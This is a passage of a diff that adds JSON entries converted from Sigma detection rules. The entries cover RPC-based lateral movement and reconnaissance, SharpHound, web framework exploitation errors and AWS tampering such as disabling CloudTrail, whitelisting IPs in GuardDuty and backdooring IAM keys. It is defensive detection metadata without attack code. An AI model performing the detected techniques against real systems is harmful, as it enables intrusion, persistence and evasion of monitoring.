"https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ] + }, + "uuid": "ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d", + "value": "Remote Schedule Task Lateral Movement via ITaskSchedulerService" + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_itaskschedulerservice_recon.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" + ], + "tags": "No established tags" + }, + "uuid": "7f7c49eb-2977-4ac8-8ab0-ab1bae14730e", + "value": "Remote Schedule Task Recon via ITaskSchedulerService" + }, + { + "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Actual printing" + ], + "filename": "rpc_firewall_printing_lateral_movement.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement" + ] + }, + "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", + "value": "Remote Printing Abuse for Lateral Movement" + }, + { + "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Some administrative tasks on remote host" + ], + "filename": "rpc_firewall_remote_dcom_or_wmi.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://attack.mitre.org/techniques/T1021/003/", + "https://attack.mitre.org/techniques/T1047/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.003", + "attack.t1047" + ] + }, + "uuid": "68050b10-e477-4377-a99b-3721b422d6ef", + "value": "Remote DCOM/WMI Lateral Movement" + }, + { + "description": "Detects remote RPC calls to modify the registry and possible execute code", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Remote administration of registry values" + ], + "filename": "rpc_firewall_remote_registry_lateral_movement.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1112/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement" + ] + }, + "uuid": "35c55673-84ca-4e99-8d09-e334f3c29539", + "value": "Remote Registry Lateral Movement" + }, + { + "description": "Detects remote RPC calls to collect information", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Remote administration of registry values" + ], + "filename": "rpc_firewall_remote_registry_recon.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" + ], + "tags": "No established tags" + }, + "uuid": "d8ffe17e-04be-4886-beb9-c1dd1944b9a8", + "value": "Remote Registry Recon" + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Legitimate remote share creation" + ], + "filename": "rpc_firewall_remote_server_service_abuse.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" + ], + "tags": [ + "attack.lateral_movement" + ] + }, + "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", + "value": "Remote Server Service Abuse" + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Administrative tasks on remote services" + ], + "filename": "rpc_firewall_remote_service_lateral_movement.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://attack.mitre.org/techniques/T1569/002/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1569.002" + ] + }, + "uuid": "10018e73-06ec-46ec-8107-9172f1e04ff2", + "value": "Remote Server Service Abuse for Lateral Movement" + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_sasec_lateral_movement.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ] + }, + "uuid": "aff229ab-f8cd-447b-b215-084d11e79eb0", + "value": "Remote Schedule Task Lateral Movement via SASec-" + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_sasec_recon.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" + ], + "tags": "No established tags" + }, + "uuid": "0a3ff354-93fc-4273-8a03-1078782de5b7", + "value": "Remote Schedule Task Lateral Movement via SASec" + }, + { + "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_sharphound_recon_account.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1087/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" + ], + "tags": [ + "attack.t1087" + ] + }, + "uuid": "65f77b1e-8e79-45bf-bb67-5988a8ce45a5", + "value": "SharpHound Recon Account Discovery" + }, + { + "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_sharphound_recon_sessions.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1033/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" + ], + "tags": [ + "attack.t1033" + ] + }, + "uuid": "6d580420-ff3f-4e0e-b6b0-41b90c787e28", + "value": "SharpHound Recon Sessions" + }, + { + "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/08/06", + "falsepositive": [ + "Application bugs" + ], + "filename": "appframework_ruby_on_rails_exceptions.yml", + "level": "medium", + "logsource.category": "application", + "logsource.product": "ruby_on_rails", + "refs": [ + "http://edgeguides.rubyonrails.org/security.html", + "http://guides.rubyonrails.org/action_controller_overview.html", + "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", + "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a", + "value": "Ruby on Rails Framework Exceptions" + }, + { + "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/08/06", + "falsepositive": [ + "Application bugs" + ], + "filename": "appframework_spring_exceptions.yml", + "level": "medium", + "logsource.category": "application", + "logsource.product": "spring", + "refs": [ + "https://docs.spring.io/spring-security/site/docs/current/apidocs/overview-tree.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/appframework_spring_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "ae48ab93-45f7-4051-9dfe-5d30a3f78e33", + "value": "Spring Framework Exceptions" + }, + { + "description": "Detects SQL error messages that indicate probing for an injection attack", + "meta": { + "author": "Bjoern Kimminich", + "creation_date": "2017/11/27", + "falsepositive": [ + "Application bugs" + ], + "filename": "app_sqlinjection_errors.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "sql", + "refs": [ + "http://www.sqlinjection.net/errors", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "8a670c6d-7189-4b1c-8017-a417ca84a086", + "value": "Suspicious SQL Error Messages" + }, + { + "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/09/23", + "falsepositive": [ + "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_attached_malicious_lambda_layer.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_attached_malicious_lambda_layer.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", + "value": "AWS Attached Malicious Lambda Layer" + }, + { + "description": "Detects disabling, deleting and updating of a Trail", + "meta": { + "author": "vitaliy0x1", + "creation_date": "2020/01/21", + "falsepositive": [ + "Valid change in a Trail" + ], + "filename": "aws_cloudtrail_disable_logging.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_cloudtrail_disable_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74", + "value": "AWS CloudTrail Important Change" + }, + { + "description": "Detects AWS Config Service disabling", + "meta": { + "author": "vitaliy0x1", + "creation_date": "2020/01/21", + "falsepositive": [ + "Valid change in AWS Config Service" + ], + "filename": "aws_config_disable_recording.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_config_disable_recording.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "07330162-dba1-4746-8121-a9647d49d297", + "value": "AWS Config Disabling Channel/Recorder" + }, + { + "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/06/29", + "falsepositive": [ + "System Administrator Activities", + "DEV, UAT, SAT environment. You should apply this rule with PROD account only." + ], + "filename": "aws_ec2_disable_encryption.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486", + "attack.t1565" + ] + }, + "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223", + "value": "AWS EC2 Disable EBS Encryption" + }, + { + "description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", + "meta": { + "author": "faloker", + "creation_date": "2020/02/11", + "falsepositive": [ + "Assets management software like device42" + ], + "filename": "aws_ec2_download_userdata.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "uuid": "26ff4080-194e-47e7-9889-ef7602efed0c", + "value": "AWS EC2 Download Userdata" + }, + { + "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", + "meta": { + "author": "faloker", + "creation_date": "2020/02/12", + "falsepositive": [ + "Valid changes to the startup script" + ], + "filename": "aws_ec2_startup_script_change.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.004" + ] + }, + "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df", + "value": "AWS EC2 Startup Shell Script Change" + }, + { + "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", + "meta": { + "author": "Diogo Braz", + "creation_date": "2020/04/16", + "falsepositive": "No established falsepositives", + "filename": "aws_ec2_vm_export_failure.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_vm_export_failure.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005", + "attack.exfiltration", + "attack.t1537" + ] + }, + "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b", + "value": "AWS EC2 VM Export Failure" + }, + { + "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", + "meta": { + "author": "Darin Smith", + "creation_date": "2022/06/07", + "falsepositive": [ + "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" + ], + "filename": "aws_ecs_task_definition_backdoor.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", + "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", + "https://attack.mitre.org/techniques/T1525", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1525" + ] + }, + "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", + "value": "AWS ECS Backdoor Task Definition" + }, + { + "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "aws_efs_fileshare_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef", + "value": "AWS EFS Fileshare Modified or Deleted" + }, + { + "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_mount_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964", + "value": "AWS EFS Fileshare Mount Modified or Deleted" + }, + { + "description": "Identifies when an EKS cluster is created or deleted.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/16", + "falsepositive": [ + "EKS Cluster being created or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_eks_cluster_created_or_deleted.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://any-api.com/amazonaws_com/eks/docs/API_Description", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_eks_cluster_created_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0", + "value": "AWS EKS Cluster Created or Deleted" + }, + { + "description": "Detects when an ElastiCache security group has been created.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_elasticache_security_group_created.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136", + "attack.t1136.003" + ] + }, + "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7", + "value": "AWS ElastiCache Security Group Created" + }, + { + "description": "Identifies when an ElastiCache security group has been modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_elasticache_security_group_modified_or_deleted.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ] + }, + "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc", + "value": "AWS ElastiCache Security Group Modified or Deleted" + }, + { + "description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", + "meta": { + "author": "toffeebr33k", + "creation_date": "2020/11/21", + "falsepositive": [ + "AWS Config or other configuration scanning activities" + ], + "filename": "aws_enum_listing.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_listing.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1592" + ] + }, + "uuid": "e9c14b23-47e2-4a8b-8a63-d36618e33d70", + "value": "Account Enumeration on AWS" + }, + { + "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", + "meta": { + "author": "faloker", + "creation_date": "2020/02/11", + "falsepositive": [ + "Valid change in the GuardDuty (e.g. to ignore internal scanners)" + ], + "filename": "aws_guardduty_disruption.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3", + "value": "AWS GuardDuty Important Change" + }, + { + "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", + "meta": { + "author": "faloker", + "creation_date": "2020/02/12", + "falsepositive": [ + "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", + "AWS API keys legitimate exchange workflows" + ], + "filename": "aws_iam_backdoor_users_keys.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_iam_backdoor_users_keys.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2", + "value": "AWS IAM Backdoor Users Keys" + }, + { + "description": "Detects when an user creates or invokes a lambda function.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/03", + "falsepositive": [ + "Lambda Function created or invoked may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_lambda_function_created_or_invoked.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_lambda_function_created_or_invoked.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078" + ] + }, + "uuid": "d914951b-52c8-485f-875e-86abab710c0b", + "value": "AWS Lambda Function Created or Invoked" + }, + { + "description": "Detects evade to Macie detection.", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/07/06", + "falsepositive": [ + "System or Network administrator behaviors" + ], + "filename": "aws_macic_evasion.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/cli/latest/reference/macie/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "91f6a16c-ef71-437a-99ac-0b070e3ad221", + "value": "AWS Macie Evasion" + }, + { + "description": "Detects possible suspicious glue development endpoint activity.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/03", + "falsepositive": [ + "Glue Development Endpoint Activity may be performed by a system administrator. 